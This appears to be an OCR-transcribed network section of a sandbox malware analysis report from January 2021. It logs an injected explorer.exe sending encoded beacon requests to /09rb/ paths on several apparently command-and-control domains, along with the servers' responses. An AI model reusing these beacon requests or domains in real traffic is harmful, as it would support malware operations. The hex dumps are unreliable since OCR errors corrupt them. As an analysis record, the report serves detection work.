0Oe 1f cb 51 3b Ob 8 ¢9 50 2¢ 26 87 b9 cd f5 67 6f ee a0 d3 99 60 de cf a9 ea 77 c4 08 a4 d1 58 6a 3¢ 11 96 e5 02 83 f5 81
04 f7 d0 d1 3b 9a Oe el 7a c9 fc 23 33 7b be 98 45 db a0 32 28 52 23 74 04 95 91 5d af 5b 06 c¢1 91 91 51 31 d2 27 75 8c
4e e4 13 de Oc 97 76 d4 89 39 d2 5¢c cd 2f f7 61 4b 51 4f b7 80 98 85 4b ef ea d0 8a f6 88 d0 Ob bb 23 37 2d a7 4f 3f 9c a3
da 25 26 6¢ 76 d8 91 d9 f3 e2 ee 8 fO 4b 41 e0 90 d7 5a 1f d2 60 e3 f0 69 49 31 b8 31 1f 90 04 67 77 6f d5 2c b8 72 47 2e
la Oc 31 07 4a 6¢ 3c 22 d2 2f 8e 28 6a 14 3e 1a 7b 90 65 df cb 89 73 75 92 b7 4c 9c 75 40 28 dd 2c f4 cf 1e 4d 7d ff fd 82
da 65 6e 5e 14 af 4f db d7 8d 82 4c f1 dc ef 65 ec 68 4c 3e 95 €3 22 8f 52 88 9a 59 61 ce 31 71 58 Oc b8 Oc 42 c8 52 b2
2a b5 ba fe 65 a2 47 67 55 8e ce 22 da 5b 83 78 ca ce c¢7 37 78 bf 38 aa ae 34 62 98 63 d2 07 17 27 45 d5 al 96 84 57 4b
ca 62 9c 3b 52 66 b9 d3 d1

Data Ascii: ]Il11daWE&NLR1IFwr&Ma'ug__7IHYVK#7-0?%&IVWKO*ZHhewwGK*ym_i% @]4Wt[*Ad(,Mb?-F-ovy
hCT9'D1eGgU"x74bcE]K;Rf;Zf$F{j/tIn$6C'&5v U /MHt#|!:n]HrAg{imhnVnlu2~?"k%p(~tsQ,-rX)W"p9x<"CKTLUI9
132y%4p\KXS@3>WKHXUOTWZ&7-eP6Z@;-<0{8pl,gh=h) N/7bt$'R,e,=1.m-"8IX[0? WncUA:0GhWEU$9/a:5X[z>rV"h{(A$
\J5H"7nr? J}w’'IQF%-cizapQ;P,&go wX|j<;z#3{E2(R#t][Q1'uNvIVaKQOK#7-O?%&IVKAZ il11gwo,rG.1JI<"/(j>{esu
Lu@(,M}en"OLehL>"RYalgqXBR*eGgU"[x7x84bc'EWKb;Rf

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=boggCF0+VtvWGkPjuCU1AaxF3fKHqCWZ16Cl7xOuJOi/WrAR/MJIUIDIafE5SAde UIQBT&pNI=E
XX8_N6XKpgxS HTTP/1.1

Host: www.emuprising.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Mon, 11 Jan 2021 15:24:11 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fd4972f-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0Oa 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

199.59.242.153 80 C:\Windows\explorer.exe

Data
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Timestamp

Jan 11, 2021
16:24:22.133837938 CET

Jan 11, 2021
16:24:22.256963968 CET

Session ID

3

Timestamp

Jan 11, 2021
16:24:32.555069923 CET

Jan 11, 2021
16:24:32.693470001 CET

Copyright null 2021

kBytes
transferred

357

358

Source IP

192.168.2.4
kBytes

transferred

365

366

Direction

ouT

Source Port

49734

Direction

ouT

Data

GET /09rb/?Jt78=5FI0Gne6++jCyaX7Drm8Xn32HTt8H/jgBsF3NSEqn1nDC6nrfbel4d CYEQQYkDcDI2++&pN9=E
XX8_N6XKpgxS HTTP/1.1

Host: www.myaarpdentalpln.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: openresty

Date: Mon, 11 Jan 2021 15:24:22 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Adblock-Key: MFwwDQY JKoZlhveNAQEBBQADSWAWSAJBANDrp2lz7AOmMADaN8tA50LsWcjLFyQFcb/P2Txc580Y
OelLb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAWEAAQ==_U5TM9ad0yUw8X7quF8IXgAruBwRgIx0Tf20R
LDNnMqgfZ3M30+8W21/3XD5vWgkj5jHKIsWCAI4TI2M+Uub54Fjw==

Data Raw: 65 65 34 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 3c 68 74 6d 6¢ 20 64 61 74 61 2d 61 64 62 6¢ 6f
63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 4453 77 41 77 53 41 4a 42
41 4e 44 72 70 32 6¢ 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35
38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76
62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 55 35 54 4d 39 61 64 30 79 55 77 38 58 37 71 75 46 38 49 58 71 41
727542 77 52 67 6¢ 78 30 54 66 32 6 52 4c 44 6e 4d 71 66 5a 33 4d 33 4f 2b 38 57 32 49 2f 33 58 44 35 76 66 57 71 6b
6a 35 6a 48 4b 4a 73 77 43 41 6¢ 34 54 6¢ 32 4d 2b 55 75 35 34 46 6a 77 3d 3d 22 3e 3c 68 65 61 64 3e 3¢ 6d 65 74 61 2
068747470 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74
2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 74 69 74 6¢ 65 3e 3c 2f 74 69 74 6¢ 65 3e 3c 6d 65
74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63
65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64
65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 53 65 65 20 72 65 6¢ 61 74 65 64 20 6¢ 69 6€ 6b 73 20 74
6f 20 77 68 61 74 20 79 6f 75 20 61 72 65 20 6¢ 6f 6f 6b 69 6e 67 20 66 6f 72 2e 22 2f 3e 3c 2f 68 65 61 64 3e 3c 21 2d 2d
5b 69 66 20 49 45 20 36 20 5d 3e 3c 62 6f 64 79 20 63 6¢ 61 73 73 3d 22 69 65 36 22 3e 3¢ 21 5b 65 6e 64 69 66 5d 2d
2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 62 6f 64 79 20 63 6¢ 61 73 73 3d 22 69 65 37 22 3e 3¢ 21 5b 65
6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 62 6f 64 79 20 63 6¢ 61 73 73 3d 22 69 65 38
22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 62 6f 64 79 20 63 6¢ 61 73
73 3d 22 69 65 39 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3¢ 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21
28 49 45 29 5d 3e 20 2d 2d 3e 3c 62 6f 64 79 3e 3¢ 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 3c 73 63 72 69 70 74
207479 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 67 5f 70 62 3d 28 66 75 6e 63 74 69 6f 6e 28 29
7b 76 61 72 0a 44 54 3d 64 6f 63 75 6d 65 6e 74 2c 61 7a 78 3d 6¢ 6f 63 61 74 69 6f 6 2c 44 44 3d 44 54 2e 63 72 65 61
74 65 45 6¢ 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 2¢ 61 41 43 3d 66 61 6¢ 73 65 2C 4c 55 3b 44 44 2e 64 65 66
6572 3d 74 72 75 65 3b 44 44 2e 61 73 79 6e 63 3d 74 72 75 65 3b 44 44 2e 73 72 63 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67
6¢ 65 2e 63 6f 6d 2f 61 64 73 65 6e 73 65 2f 64 6f 6d 61 69 6e 73 2f 63 61 66 2e 6a 73 22 3b 44 44 2e 6f 6e 65

Data Ascii: ee4<!DOCTYPE html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSWAWSAJBANDrp
21z7AOmMADaN8tA50LsWcjLFyQFch/P2Txc580Y OelLb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAWEAAQ=

= U5TM9ad0yUw8X7quF8IXgAruBwRgIx0Tf20RLDNMqfZ3M30+8W2I/3XD5viWgkj5jHKISWCAI4TI2M+Uu54Fjw==">
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title></title><meta name="viewport" content=
"width=device-width, initial-scale=1"><meta name="description" content="See related links to what you are looking for."/>
</head>...[if IE 6 ]><body class="ie6"><![endif]-->...[if IE 7 ]><body class="ie7"><![endif]-->...[if IE 8 ]><body class="ie8"><!
[endif]-->...[if IE 9 ]><body class="ie9"><![endif]-->...[if (gt IE 9)|!(IE)]> --><body>...<![endif]--><script type="text/javascri
pt">g_pb=(function(){varDT=document,azx=location,DD=DT.createElement('script’),aAC=false,LU;DD.defer=true;DD.a
sync=true;DD.src="//www.google.com/adsense/domains/caf.js";DD.one

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /09rb/?J3t78=kPRwpjmi7xHhdB/QktvvK7WyLyDr49juNOw/BSnfKghxj4qCtVdY SmPoUBccxdfk W2C+&pN9=E
XX8_N6XKpgxS HTTP/1.1

Host: www.alessandrabortolussi.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Mon, 11 Jan 2021 15:24:32 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fd494f7-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Session ID Source IP
4 192.168.2.4

kBytes
Timestamp transferred
Jan 11, 2021 369

16:24:48.117661953 CET

Jan 11, 2021 369
16:24:48.172992945 CET

Session ID Source IP
5 192.168.2.4

kBytes
Timestamp transferred
Jan 11, 2021 370

16:24:53.322417021 CET

Jan 11, 2021 371
16:24:53.460947990 CET

Session ID Source IP
6 192.168.2.4

kBytes
Timestamp transferred
Jan 11, 2021 373

16:25:14.508002996 CET

Jan 11, 2021 373
16:25:14.700244904 CET

Copyright null 2021

Source Port

49735

Direction

ouT

Source Port

49736

Direction

ouT

Source Port

49737

Direction

ouT

Destination IP Destination Port Process

172.67.209.95 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=29jYSSE1VYVKBCRV1XAVE7TBMmL4MadGzLcVhOKs/tFMQOj4Ha2R4yorJjHtPNwOUGSI&pN9=E
XX8_N6XKpgxS HTTP/1.1

Host: www.kobumsnetwork.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Mon, 11 Jan 2021 15:24:48 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 11 Jan 2021 16:24:48 GMT

Location: https://www.kobumsnetwork.com/09rb/?Jt78=29)Y SSE1VYVKBCRV1XAVE7TBMmL4MadGzLcVhOKs/tFMQOj4H
a2R4yorJjHtPNwOUGsI&pNI=EXX8_N6xKpgxS

cf-request-id: 0793a5ce9a00000bf5fd859000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=osL 7dKwEvBolDuwOyAAVjWZRbwV1mlIhWDQMV
xmYU1FMunCTXf9JwcGVACORIrPg%2BGmdwjmCHKulm7mSkJbcAjy2PuMNWOTsx6HPxSk6nKYGm3bOB9IF
U%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 60ffa590ff710bf5-AMS

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=GzMG1eSemGLMBHrXmbkE50ZCgXo7nbeyHhmTYulGjAFIODDsopduu5ndU/Um1KPjDO6I&pN9I=E
XX8_N6XKpgxS HTTP/1.1

Host: www.rednbot.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Mon, 11 Jan 2021 15:24:53 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fd4972f-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

147.255.30.94 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=fd7Pr27tD73tirRUHLPhwKiuhRBsBtIJKGNPU16/EYze1BREDS5LbMsrasNXGEI7bB1Y&pN9I=E
XX8_N6XKpgxS HTTP/1.1

Host: www.aksaystudios.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
Server: Nginx Microsoft-HTTPAPI/2.0
X-Powered-By: Nginx

Date: Mon, 11 Jan 2021 15:25:09 GMT
Connection: close

Data Raw: 33 0d Oa ef bb bf 0d Oa
Data Ascii: 3
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Session ID

7

Timestamp

Jan 11, 2021
16:25:20.495930910 CET

Jan 11, 2021
16:25:20.805578947 CET

Session ID

8

Timestamp

Jan 11, 2021
16:25:25.984777927 CET

Copyright null 2021

Source IP

192.168.2.4

kBytes
transferred

379

380

Source IP

192.168.2.4

kBytes
transferred

381

Source Port

49738

Direction

ouT

Source Port

49739

Direction

ouT

Destination IP Destination Port Process

153.126.209.136 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=nAgyAFuV8j6ec0qd9dJQyz40G0o8ypkE1WIWLRMRPEN1ZOiBWoUM4woT6qKfbIXt5ALXVE&PNI=E
XX8_N6XKpgxS HTTP/1.1

Host: www.aizimov.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Mon, 11 Jan 2021 15:25:20 GMT

Server: Apache

Location: http://www.aizimov.com/?Jt78=nAgyAFuV8j6ec0qd9dJQyz40Go8ypkE1WIWLRMRPEN1ZOiBWoUM4woT6gKfh9
Xt5A1XV&PNI=EXX8_N6XKpgxS

Content-Length: 327

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 68 31 3e Oa 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 69 7a 69 6d 6f 76 2e 63
6f 6d 2f 3f 4a 74 37 38 3d 6e 41 67 79 41 46 75 56 38 6a 36 65 63 30 71 64 39 64 4a 51 79 7a 34 30 47 6f 38 79 70 6b 45
3157 49 77 4c 52 4d 52 50 45 6e 31 5a 4f 69 42 57 6f 55 4d 34 77 6f 54 36 71 4b 66 62 39 58 74 35 41 31 78 56 26 61 6d
70 3b 70 4e 39 3d 45 58 58 38 5f 4e 36 78 4b 70 71 78 53 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64
79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly</titte></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="http://www.aizimov.com/?Jt
78=nAgyAFuV8j6ec0qd9dJQyz40Go8ypkE1WIWLRMRPEN1ZOiBWoUM4woT6qKfb9Xt5A1xV&amp;pN9=EXX8_N6xKp
qxS">here</a>.</p></body></html|>

Destination IP Destination Port Process

216.58.207.179 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=tK5SHJ/BIVKSEfSQE3soaE4uMhY 2LrE6ZvvxVQCBFqIKYHEDfuOZHLVI1N1LVI7A3A7r&pN9=E
XX8_N6XKpgxS HTTP/1.1

Host: www.thebuzztraders.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Jan 11, 2021
16:25:26.202717066 CET

Session ID

9

Timestamp

Jan 11, 2021
16:25:36.761926889 CET

Jan 11, 2021
16:25:36.900512934 CET

Copyright null 2021

kBytes
transferred

382

Source IP

192.168.2.4
kBytes

transferred

385

385

Direction

IN

Source Port

49740

Direction

ouT

Data

HTTP/1.1 200 OK

Content-Type: text/html; charset=utf-8

X-Cloud-Trace-Context: 87cd339222732a8cf9a37e24eab38309;0=1

Date: Mon, 11 Jan 2021 15:25:26 GMT

Server: Google Frontend

Content-Length: 2677

Connection: close

Data Raw: Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e 0a 20 20
2020 0a 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65
74222068 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 63 6b 70 61 74 68 2e 62 6f 6f 74 73 74 72 61 70 63 64 6€ 2€
63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 34 2e 35 2e 32 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73
222069 6e 74 6567 72 69 74 79 3d 22 73 68 61 33 38 34 2d 4a 63 4b 62 38 71 33 69 71 4a 36 31 67 4e 56 39 4b 47 62
38 74 68 53 73 4e 6a 70 53 4c 30 6e 38 50 41 52 6e 39 48 75 5a 4f 6e 49 78 4e 30 68 6f 50 2b 56 6d 6d 44 47 4d 4e 35
74 39 55 4a 30 5a 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 0a 20 20 20 20 3c 6¢ 69
6e 6b 20 72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 6
6 3d 22 2e 2f 63 73 73 2f 6d 61 69 6e 2e 63 73 73 22 3e Oa 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22
55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e
74 3d 227769 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e
30 22 3e 0a 20 20 20 20 3c 74 69 74 6¢ 65 3e 54 68 65 20 42 75 7a 7a 20 54 72 61 64 65 72 73 3c 2f 74 69 74 6¢ 65 3e
0Oa 3c 2f 68 65 61 64 3e 0a 0a 20 20 20 20 3c 62 6f 64 79 20 69 64 3d 22 65 6d 61 69 6¢ 4c 69 73 74 42 6f 64 79 22 20 63
6¢ 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 65 6d
61 69 6C 4c 69 73 74 43 6f 6e 74 61 69 6e 65 72 22 20 63 6¢ 61 73 73 3d 22 63 6f 6¢ 2d 31 32 20 74 65 78 74 2d 63 65 6e
74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2e 2f 69 6d 67 2f 54 68 65 42 75
7a7a54 726164657273 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 32 33 30 70 78 22 20 77 69 64 74 68 3d 22 32 33
30 70 78 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3¢ 68 31 20 63 6¢ 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65
72222069 64 3d 22 73 6¢ 6f 67 61 6e 22 3e 49 4e 56 45 53 54 20 49 4e 20 59 4f 55 52 20 54 4f 4d 4f 52 52 4f 57 3c 2f
68 31 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 35 20 63 6¢ 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22
2069 64 3d 22 70 61 67 65 44 65 73 63 72 69 70 22 3e 53 69 67 6e 20 75 70 20 66 6f 72 20 6f 75 72 20 6e 65 77 73 6¢
65 74 74 65 72 3c 2f 68 35 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 69 64 3d 22 66 6f 72 6d 44 69 76 22
2063 6¢ 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c
66 6f 72 6d 20 6d 65 74 68 6f 64 3d 22 50 4f 53 54 22 20 61 63 74 69 6f 6e 3d 22 69 6e 73 65 72 74 22 3e 0a 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6¢ 61 62 65 6¢ 20 66 6f 72 3d 22 65 6d 61 69 6¢ 22 20 63 6C 61 73 7
33d 22 63 6f 6¢ 2d 31 32 22 20 69 64 3d 22 65 6d 61 69 6¢ 4¢ 61 62 65 6C 22 3e 45 6d 61 69 6¢ 3a 3¢ 2f 6¢ 61 62 65 6C 3
e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 65 6d 61 69 6¢
222072 65717569 72 65 64 20 69 64 3d 22 65 6d 61 69 6¢ 22 20 6e 61 6d 65 3d 22 65 6d 61 69 6¢ 22 3e 0a 20 20 20
20 20 20 20 20 20 20 20 20 20 20 20 20

Data Ascii: <IDOCTYPE html><html lang="en"> <head> <link rel="stylesheet" href="https://stackpath.bootstrapcdn
.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNVIKGbh8thSsNjpSLON8PARNIH
uZOnIxNOhoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"> <link rel="stylesheet" type="text/css" href="./css/mai
n.css"> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>The
Buzz Traders</title></head> <body id="emailListBody" class="text-center"> <div id="emailListContainer" class="col-
12 text-center"> <img src="./img/TheBuzzTraders.png" height="230px" width="230px"> <h1 class="text-cen
ter" id="slogan">INVEST IN YOUR TOMORROW</h1> <h5 class="text-center" id="pageDescrip">Sign up for our
newsletter</h5> <div id="formDiv" class="text-center"> <form method="POST" action="insert">

<label for="email" class="col-12" id="emailLabel">Email:</label> <input type="email" required id="email"
name="email">

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /09rb/?Jt78=boggCF0+VtvWGKPjuCU1AaxF3fKHqCWZ16Cl7xOuJOi/WrAR/MJIUIDIafE5SAde UIQBT&pNI=E
XX8_N6XKpgxS HTTP/1.1

Host: www.emuprising.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Mon, 11 Jan 2021 15:25:36 GMT

Content-Type: text/html

Content-Length: 275

ETag: "5fd4972f-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
